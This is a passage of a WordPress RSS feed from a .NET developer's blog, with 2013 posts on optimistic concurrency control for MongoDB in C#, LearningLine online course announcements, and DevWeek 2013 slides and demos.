		<description><![CDATA[[Update: Available via NuGet - MongoDB.Kennedy.Concurrency] This article demonstrates a technique and supporting library for adding optimistic concurrency control to NoSQL databases and MongoDB in particular. Watch a video walk-through using this library: Quickly, what is optimistic concurrency control? Ideally, all databases &#8230; <a href="http://blog.michaelckennedy.net/2013/04/08/optimistic-concurrency-in-mongodb-using-net-and-csharp/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=844&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>[<strong>Update</strong>: Available via NuGet - <a href="https://nuget.org/packages/MongoDB.Kennedy.Concurrency/" target="_blank">MongoDB.Kennedy.Concurrency</a>]</p>
<p>This article demonstrates a technique and supporting library for adding optimistic concurrency control to NoSQL databases and MongoDB in particular.</p>
<p><strong>Watch a video walk-through using this library:</strong></p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/y6DqLpy_RCQ?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<h2>Quickly, what is optimistic concurrency control?</h2>
<p>Ideally, all databases that allow concurrent access or disconnected access need to implement some form of <a href="http://en.wikipedia.org/wiki/Concurrency_control" target="_blank">concurrency control</a>. This usually comes in two flavors:</p>
<ol>
<li>Pessimistic concurrency control<a href="http://en.wikipedia.org/wiki/Concurrency_control"><br />
</a></li>
<li>Optimistic concurrency control</li>
</ol>
<p>Pessimistic concurrency control is usually used when working heavily within transactions. That may be fine for bank transfers, but it <strong>typically falls down</strong> in the face of disconnected models used by almost all ORMs such as Entity Framework. Moreover, it is <strong>entirely inappropriate</strong> for NoSQL databases.</p>
<p>Frameworks such as Entity Framework have optimistic concurrency control built in (although it may be turned off). It&#8217;s instructive to quickly see how it works. Basically there are three steps:</p>
<ol>
<li><span style="line-height:15px;">Get an entity from the DB and disconnect.</span></li>
<li>Edit in memory.</li>
<li>Update the db with changes using a special update clause. Something like: &#8220;Update this row WHERE the current values are same as original values&#8221;.</li>
</ol>
<p>If that update returns &#8220;0 rows modified&#8221; then we know it was changed since we loaded it and are about to overwrite someone&#8217;s changes. This results in a concurrency exception and not changes go through.</p>
<h2>Optimistic concurrency control for MongoDB</h2>
<p>By carefully constructing update commands in C# with the official 10gen C# driver, we can achieve almost exactly the same flow. At the end of this article is a simple C# class (data context) which has <strong>save </strong>and <strong>delete</strong> methods which internally are safe via optimistic concurrency control.<span id="more-844"></span></p>
<p>The only thing you need to do to use this library in your apps is to <strong>implement this interface</strong> on all top-level MongoDB entities and use a class derived from <strong>ConcurrentDataContext</strong> (in library below) for your data access.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2013/04/imongoentity.png"><img class="alignnone size-full wp-image-846" alt="IMongoEntity" src="http://michaelckennedy.files.wordpress.com/2013/04/imongoentity.png?w=584"   /></a></p>
<p>Using this interface, the data context will manage a unique ID for you named <strong>_accessId</strong> per save. If someone else edits this object after you have gotten it but before saving it, you&#8217;ll get a concurrency exception, just like EF, and no changes will go through. All you do is call save and access entities via LINQ queries. Nice huh?</p>
<p>Here is an example of your entities with this interface in the db:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2013/04/entity.png"><img class="alignnone size-full wp-image-848" alt="entity" src="http://michaelckennedy.files.wordpress.com/2013/04/entity.png?w=584"   /></a></p>
<p>Here is an example of an app running end to end with only one editor on the document. See, no errors:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2013/04/no-errors.png"><img class="alignnone size-full wp-image-849" alt="no errors" src="http://michaelckennedy.files.wordpress.com/2013/04/no-errors.png?w=584"   /></a></p>
<p>And here is simulating a concurrent edit, which results in an error.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2013/04/error.png"><img class="alignnone size-full wp-image-850" alt="error" src="http://michaelckennedy.files.wordpress.com/2013/04/error.png?w=584"   /></a></p>
<h2>Conclusion</h2>
<p>There you have it! For all of you who want to adopt MongoDB and .NET but are concerned about concurrency issues, you now have the same level of concurrency safety as Entity Framework. That should be quite reassuring.</p>
<p>Here&#8217;s the download for the source, library with the concurrent data context, and the sample app:</p>
<p><a href="https://s3.amazonaws.com/michael-kennedy/blog/Concurrent-MongoDB-CSharp/MongoDB.Kennedy.zip">MongoDB.Kennedy.zip</a></p>
<p>Cheers,<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/nosql/'>NoSQL</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/844/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/844/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=844&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2013/04/08/optimistic-concurrency-in-mongodb-using-net-and-csharp/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/04/imongoentity.png" medium="image">
			<media:title type="html">IMongoEntity</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/04/entity.png" medium="image">
			<media:title type="html">entity</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/04/no-errors.png" medium="image">
			<media:title type="html">no errors</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/04/error.png" medium="image">
			<media:title type="html">error</media:title>
		</media:content>
	</item>
		<item>
		<title>Take the first hour of any online developer course for free at LearningLine</title>
		<link>http://blog.michaelckennedy.net/2013/04/01/take-the-first-hour-of-any-online-developer-course-for-free-at-learningline/</link>
		<comments>http://blog.michaelckennedy.net/2013/04/01/take-the-first-hour-of-any-online-developer-course-for-free-at-learningline/#comments</comments>
		<pubDate>Mon, 01 Apr 2013 20:43:07 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[DevelopMentor]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Online courses]]></category>
		<category><![CDATA[Online learning]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=840</guid>
		<description><![CDATA[[Note: reblogged from blog.learninglineapp.com. I'd like to personally invite you to check out our work over at LearningLine - just follow the links below.] We believe that LearningLine is the most effective online training for developers, period. Today it gets even &#8230; <a href="http://blog.michaelckennedy.net/2013/04/01/take-the-first-hour-of-any-online-developer-course-for-free-at-learningline/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=840&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>[Note: reblogged from <a href="http://blog.learninglineapp.com/2013/04/01/take-the-first-hour-of-any-online-developer-course-for-free-at-learningline/" target="_blank">blog.learninglineapp.com</a>. I'd like to personally invite you to check out our work over at LearningLine - just follow the links below.]</p>
<p>We believe that LearningLine is the most effective online training for developers, period. Today it gets even better. We are announcing the ability to preview any of our online courses, for free without entering any payment information.</p>
<p>This is not a trial that becomes a subscription or a silly 5 minute preview like other company&#8217;s offer.  You can now study approximately the first hour of any one of our courses. And you can spend as much time as you like doing so.</p>
<p>To get started, just <a title="Schedule of online developer courses for .NET, JavaScript, HTML5, MVC, and more at LearningLine" href="https://learninglineapp.com/schedule" target="_blank">head over to our schedule page</a>, click on any course title you&#8217;d like and choose &#8220;<strong>Preview course for free</strong>&#8220;:</p>
<p><span style="font-size:15px;font-style:inherit;line-height:1.625;">   </span><a style="font-size:15px;font-style:inherit;line-height:1.625;" title="Schedule of online developer courses for .NET, JavaScript, HTML5, MVC, and more at LearningLine" href="https://learninglineapp.com/schedule" target="_blank"><img alt="preview-online-developer-course-for-free" src="http://learninglineapp.files.wordpress.com/2013/03/preview-online-developer-course-for-free.png?w=277&#038;h=56" width="277" height="56" /></a></p>
<p><span style="font-size:15px;font-style:inherit;line-height:1.625;">This means there is now </span><strong style="font-size:15px;font-style:inherit;line-height:1.625;">a </strong><strong style="font-size:15px;font-style:inherit;line-height:1.625;">lot</strong><span style="font-size:15px;font-style:inherit;line-height:1.625;"> of content available to you right now. At a typical student speed working for an hour a day, it would take over a month to complete all the content that is available for preview.<span id="more-840"></span></span></p>
<p>Do you want to learn how to build rich input forms and avoid security holes in your ASP.NET MVC applications? Just head over to <strong>Accepting user input in ASP.NET MVC</strong>  and click preview:</p>
<p><a title="Free trial preview of online developer course at LearningLine: Accepting user input in ASP.NET MVC" href="https://learninglineapp.com/courses/11/accepting-user-input-in-aspnet-mvc" target="_blank">https://learninglineapp.com/courses/11/accepting-user-input-in-aspnet-mvc</a></p>
<p><span style="font-size:15px;font-style:inherit;line-height:1.625;">Are you getting back into C++? Learning it for the first time? The try </span><strong style="font-size:15px;font-style:inherit;line-height:1.625;">Developing C++ Applications</strong><span style="font-size:15px;font-style:inherit;line-height:1.625;">:</span></p>
<p><a style="font-size:15px;font-style:inherit;line-height:1.625;" title="Free trial preview of online developer course at LearningLine: Developing C++ Applications" href="https://learninglineapp.com/courses/36/develop-cplusplus-applications" target="_blank">https://learninglineapp.com/courses/36/develop-cplusplus-applications</a></p>
<p><span style="font-size:15px;font-style:inherit;line-height:1.625;">Are all your cool, hip friends talking about HTML5? Check out </span><strong style="font-size:15px;font-style:inherit;line-height:1.625;">HTML5 In-depth</strong><span style="font-size:15px;font-style:inherit;line-height:1.625;">:</span></p>
<p><a style="font-size:15px;font-style:inherit;line-height:1.625;" title="Free trial preview of online developer course at LearningLine: HTML5 In-depth" href="https://learninglineapp.com/courses/8/hmtl5-in-depth" target="_blank">https://learninglineapp.com/courses/8/hmtl5-in-depth</a></p>
<p><span style="font-size:15px;font-style:inherit;line-height:1.625;">You get the idea. At the time of this writing, there are 27 courses which run between 4 and 15 days in length. There is definitely something out there for your to try.  So head on over to the schedule page and find a course that is right for you:</span></p>
<p><a style="font-size:15px;font-style:inherit;line-height:1.625;" title="Schedule of online developer courses for .NET, JavaScript, HTML5, MVC, and more at LearningLine" href="https://learninglineapp.com/schedule" target="_blank">https://learninglineapp.com/schedule</a></p>
<p><span style="font-size:15px;font-style:inherit;line-height:1.625;">Cheers,<br />
<a href="http://twitter.com/mkennedy" target="_blank"><span style="font-size:15px;font-style:inherit;line-height:1.625;">@mkennedy</span></a></span></p>
<p>PS &#8211; No this is not an <a href="http://en.wikipedia.org/wiki/April_Fools'_Day" target="_blank">April fools joke</a>. :)</p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/developmentor/'>DevelopMentor</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/developmentor/'>DevelopMentor</a>, <a href='http://blog.michaelckennedy.net/tag/jquery/'>jQuery</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/online-courses/'>Online courses</a>, <a href='http://blog.michaelckennedy.net/tag/online-learning/'>Online learning</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/tips/'>tips</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a>, <a href='http://blog.michaelckennedy.net/tag/web/'>web</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/840/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/840/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=840&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2013/04/01/take-the-first-hour-of-any-online-developer-course-for-free-at-learningline/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://learninglineapp.files.wordpress.com/2013/03/preview-online-developer-course-for-free.png" medium="image">
			<media:title type="html">preview-online-developer-course-for-free</media:title>
		</media:content>
	</item>
		<item>
		<title>Slides and demos from DevWeek 2013</title>
		<link>http://blog.michaelckennedy.net/2013/03/08/slides-and-demo-from-devweek/</link>
		<comments>http://blog.michaelckennedy.net/2013/03/08/slides-and-demo-from-devweek/#comments</comments>
		<pubDate>Fri, 08 Mar 2013 08:43:08 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Speaking]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Conferences]]></category>
		<category><![CDATA[DevelopMentor]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[LearningLine]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=833</guid>
		<description><![CDATA[[Update: I added the downloads for the demo code on March 12th.] I had a great time discussing these topics with everyone at DevWeek 2013. Thanks to all who attended my sessions. Here are the slides: Getting Serious About The &#8230; <a href="http://blog.michaelckennedy.net/2013/03/08/slides-and-demo-from-devweek/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=833&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><span style="color:#808080;">[Update: I added the downloads for the demo code on March 12th.]</span></p>
<p>I had a great time discussing these topics with everyone at DevWeek 2013. Thanks to all who attended my sessions. Here are the slides:</p>
<p><strong>Getting Serious About The Cloud For Developers</strong><br />
Slides: <a href="https://s3.amazonaws.com/michael-kennedy/downloads/DevWeek/2013/Getting+serious+about+the+Cloud+(DevWeek).pdf" target="_blank">Getting serious about the Cloud (DevWeek).pdf</a><br />
Demos: <a href="https://s3.amazonaws.com/michael-kennedy/downloads/DevWeek/2013/CloudDriverS3SecureFiles-Demo-DevWeek-Kennedy.zip">CloudDriverS3SecureFiles-Demo-DevWeek-Kennedy.zip</a></p>
<p><strong>18 Ways Your Brand-New MVC Web Application Can Be Better</strong><a href="https://s3.amazonaws.com/michael-kennedy/downloads/DevWeek/2013/More+Ways+MVC+Better+(DevWeek)+-+Kennedy.pdf" target="_blank"><br />
</a>Slides:<a href="https://s3.amazonaws.com/michael-kennedy/downloads/DevWeek/2013/More+Ways+MVC+Better+(DevWeek)+-+Kennedy.pdf" target="_blank">More Ways MVC Better (DevWeek) &#8211; Kennedy.pdf<br />
</a>Demos: <a href="https://s3.amazonaws.com/michael-kennedy/downloads/DevWeek/2013/18WaysMvcNewProjectBetterDemo-DevWeek-Kennedy.zip">18WaysMvcNewProjectBetterDemo-DevWeek-Kennedy.zip</a></p>
<p><strong>Building Rich Forms in ASP.NET MVC</strong><strong> (<span style="color:#ff0000;">important</span> - see note below)</strong><br />
Slides: <a href="https://s3.amazonaws.com/michael-kennedy/downloads/DevWeek/2013/Rich+Forms+with+ASP.NET+MVC+(DevWeek).pdf" target="_blank">Rich Forms with ASP.NET MVC (DevWeek).pdf</a><br />
Demos: <a href="https://s3.amazonaws.com/michael-kennedy/downloads/DevWeek/2013/Rich-ASPNET-Forms-Demos-Michael-Kennedy.zip" target="_blank">Rich-ASPNET-Forms-Demos-Michael-Kennedy.zip</a><a href="https://s3.amazonaws.com/michael-kennedy/downloads/DevWeek/2013/Rich+Forms+with+ASP.NET+MVC+(DevWeek).pdf" target="_blank"><br />
</a></p>
<p><strong>Applied NoSQL in .NET (<span style="color:#ff0000;">important</span> &#8211; see note below)</strong><br />
Slides: <a href="https://s3.amazonaws.com/michael-kennedy/downloads/DevWeek/2013/Applied+NoSQL+in+.NET+(DevWeek).pdf" target="_blank">Applied NoSQL in .NET (DevWeek).pdf</a><br />
Demos: <a href="https://s3.amazonaws.com/michael-kennedy/downloads/DevWeek/2013/Applied-NoSQL-in-dotNET-Demos-Michael-Kennedy.zip" target="_blank">Applied-NoSQL-in-dotNET-Demos-Michael-Kennedy.zip</p>
<p></a><span style="color:#ff0000;"><strong>Important note</strong></span>: In order to run this demo, you must <a href="http://www.mongodb.org/downloads" target="_blank">download MongoDB</a> and <a href="http://docs.mongodb.org/manual/tutorial/install-mongodb-on-windows/" target="_blank">start it</a> on your local machine. You do not need to initialize a database or anything like that but the db will be empty so use the admin feature to create categories and books. Running MongoDB as a Windows Service is not required.</p>
<p>Cheers,<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/speaking/'>Speaking</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/cloud/'>Cloud</a>, <a href='http://blog.michaelckennedy.net/tag/conferences/'>Conferences</a>, <a href='http://blog.michaelckennedy.net/tag/developmentor/'>DevelopMentor</a>, <a href='http://blog.michaelckennedy.net/tag/jquery/'>jQuery</a>, <a href='http://blog.michaelckennedy.net/tag/learningline/'>LearningLine</a>, <a href='http://blog.michaelckennedy.net/tag/speaking/'>Speaking</a>, <a href='http://blog.michaelckennedy.net/tag/tips/'>tips</a>, <a href='http://blog.michaelckennedy.net/tag/web/'>web</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/833/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/833/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=833&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2013/03/08/slides-and-demo-from-devweek/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Announcing LearningLine: Instructor-led online training from DevelopMentor</title>
		<link>http://blog.michaelckennedy.net/2013/02/18/announcing-learningline-instructor-led-online-training-from-developmentor/</link>
		<comments>http://blog.michaelckennedy.net/2013/02/18/announcing-learningline-instructor-led-online-training-from-developmentor/#comments</comments>
		<pubDate>Mon, 18 Feb 2013 16:43:04 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[DevelopMentor]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[MSDN]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[Speaking]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=781</guid>
		<description><![CDATA[I am very proud to announce an exciting new online learning platform from DevelopMentor: http://www.learninglineapp.com At DevelopMentor we have been thinking deeply about online training. We wanted to create an environment that combines the best parts of online learning and &#8230; <a href="http://blog.michaelckennedy.net/2013/02/18/announcing-learningline-instructor-led-online-training-from-developmentor/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=781&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I am very proud to announce an exciting new online learning platform from <a href="http://www.develop.com" target="_blank">DevelopMentor</a>:</p>
<p style="text-align:center;"><a href="http://www.learninglineapp.com"><img class="alignnone" style="border-width:0;" alt="" src="https://s3.amazonaws.com/michael-kennedy/blog/images/learningline-logo-2.png" width="267" height="46" /></a><br />
<a title="LearningLine - Join the instructor-supported online learning revolution." href="http://www.learninglineapp.com" target="_blank">http://www.learninglineapp.com</a></p>
<p>At <a href="http://www.develop.com" target="_blank">DevelopMentor </a>we have been thinking deeply about online training. We wanted to create an environment that combines the best parts of online learning and classroom training, the best parts of self-directed exploration and expert-led mentoring. We believe we have created just such an environment and I am thrilled to publicly announce it today.</p>
<p>Here&#8217;s a short 2-minute video which will give you a quick overview. You can get more details at <a title="LearningLine - Join the instructor-supported online learning revolution." href="http://www.learninglineapp.com" target="_blank">http://www.learninglineapp.com</a>.</p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/QjYHNnrfmDo?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<h2>Online training today</h2>
<p>There are many shortcomings in how developers learn online today.<span id="more-781"></span></p>
<p>Some developers choose online video libraries. Many of these are well done by highly qualified people. However, software development is a contact sport. <strong>We learn by doing</strong>, not just watching. Did you happen to watch the (American Football) Superbowl this year? If so, you&#8217;re probably more knowledgeable about football. You can have great conversations about football and seem (and feel) connected and current. But can you <em>play football any better</em> because of it? Some things in life are learned through participation - software development is one of them.</p>
<p>Some developers are self-starters and just piece together the knowledge they need. With blogs, YouTube, social media, Channel 9, and a plethora of other sources, motivated and skilled peopled can learn on their own, and many do. This process is definitely hit and miss, and it&#8217;s inefficient. You spend a lot of time <a href="http://idioms.thefreedictionary.com/separate+the+wheat+from+the+chaff" target="_blank">separating the wheat from the chaff</a> &#8211; and there is a lot of chaff out there.</p>
<p>Some developers choose instructor-led classroom training. <a href="http://www.develop.com" target="_blank">DevelopMentor</a> has long been known as an industry leader in classroom training. While we think classroom training is great for teams that have the time, schedule, and budget that is an increasingly less common situation for many developers. Online training (of any variety) offers a clear alternative to classroom training and it provides immediate on-demand learning.</p>
<h2>World, meet something better</h2>
<p>While there are benefits to all the above styles of learning, there are many drawbacks too. In creating LearningLine, we have carefully studied over 30 online learning offerings (both higher education and professional training) and have selected some of the best elements from each. We think the unique blend of the features that we have rolled into LearningLine address many of the shortcomings of online training head-on.</p>
<ol>
<li><span style="line-height:15px;"><span style="line-height:15px;"><strong> LearningLine is online, and self-paced</strong>. You learn when and what you need. Our dependency engine provides the means to &#8220;back up the bus&#8221; and allow you to fill in any missing prerequisites or immediately see what you can do just after a given lesson.</span></span></li>
<li><strong>Our lessons are comprised of learning activities which come in multiple modalities</strong>. Everyone learns in a unique way. This is why LearningLine uses multiple learning modalities including videos, articles, code demos, and exercises.</li>
<li><strong>We learn by doing</strong>. LearningLine is not a passive experience. It is intense learning where you write code and submit work at every turn. The harder you work, the more you learn. LearningLine is all about creating developers who can ship software.</li>
<li><strong>LearningLine is instructor supported</strong>. With LearningLine, you won’t get stuck. When you submit work, your instructors will review your code and suggest improvements. They will answer any question you have for your class. LearningLine instructors are professional software developers with real-world experience building applications with the technology you are learning right now.</li>
<li><strong>Modern software development is a social activity</strong>. Why should learning be different? On LearningLine you can talk with your instructor and other students, see who is ahead of you, and you learn as a team. With LearningLine&#8217;s reputation system, you can show your teammates just how smart you are as you compete for the #1 ranking.</li>
<li><strong>LearningLine is built around your team</strong>. You have full access to our content, and platform, to create your own custom learning that suits your team and project. You can annotate our content and add your own internal learning material to make learning directly relevant for your team. Your own experts can also be instructors using the same tools we have built for ourselves.</li>
</ol>
<h2>Go forth and learn</h2>
<p>I encourage you to check out LearningLine at:</p>
<p style="padding-left:30px;"><a href="http://www.learninglineapp.com" target="_blank">http://www.learninglineapp.com</a></p>
<p>You should also follow us on social media. We&#8217;ll be announcing some <strong>free</strong> classes and subscriptions to celebrate our launch.</p>
<p style="padding-left:30px;"><a href="https://twitter.com/learningline" target="_blank">Twitter &#8211; @LearningLine<br />
</a><a href="http://www.youtube.com/user/LearningLine" target="_blank">YouTube</a> (featuring some  of our content freely available)<br />
<a href="https://plus.google.com/u/1/104961629111281389531/posts" target="_blank">Google+</a><br />
<a href="http://www.linkedin.com/groups/LearningLine-4848390" target="_blank">LinkedIn<br />
</a><a href="https://www.facebook.com/Learningline" target="_blank">Facebook</a></p>
<p>Check out our <a href="https://learninglineapp.com/schedule" target="_blank">class schedule</a> and <a href="https://learninglineapp.com/subscriptions" target="_blank">pricing options</a>. If you are used to classroom instructor-led classes, I think you&#8217;ll be blown away at how affordable instructor-led learning can be.</p>
<p><strong>Do you believe in us?</strong></p>
<p>If you believe that online learning can be more than it is today, and if you believe LearningLine is a step forward, I encourage you to spread the word. Tell your co-workers, tell you boss, talk about us on social media, email a friend and so on.</p>
<p>This is the beginning of a bold adventure. I look forward to sharing it with you all.</p>
<p>Cheers,<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/developmentor/'>DevelopMentor</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/developmentor/'>DevelopMentor</a>, <a href='http://blog.michaelckennedy.net/tag/msdn/'>MSDN</a>, <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/speaking/'>Speaking</a>, <a href='http://blog.michaelckennedy.net/tag/tips/'>tips</a>, <a href='http://blog.michaelckennedy.net/tag/tools/'>Tools</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/781/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/781/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=781&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2013/02/18/announcing-learningline-instructor-led-online-training-from-developmentor/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="https://s3.amazonaws.com/michael-kennedy/blog/images/learningline-logo-2.png" medium="image" />
	</item>
		<item>
		<title>3 Open-Source Validation Projects for ASP.NET MVC</title>
		<link>http://blog.michaelckennedy.net/2013/01/15/3-open-source-validation-projects-for-asp-net-mvc/</link>
		<comments>http://blog.michaelckennedy.net/2013/01/15/3-open-source-validation-projects-for-asp-net-mvc/#comments</comments>
		<pubDate>Wed, 16 Jan 2013 02:15:33 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[LearningLine]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=771</guid>
		<description><![CDATA[The goal of this post is to show you validation options beyond those that come in-the-box from Microsoft and the ASP.NET team. Currently, there are nine pre-built validation attributes that come with MVC: While these are very helpful, knowing where to look to &#8230; <a href="http://blog.michaelckennedy.net/2013/01/15/3-open-source-validation-projects-for-asp-net-mvc/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=771&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
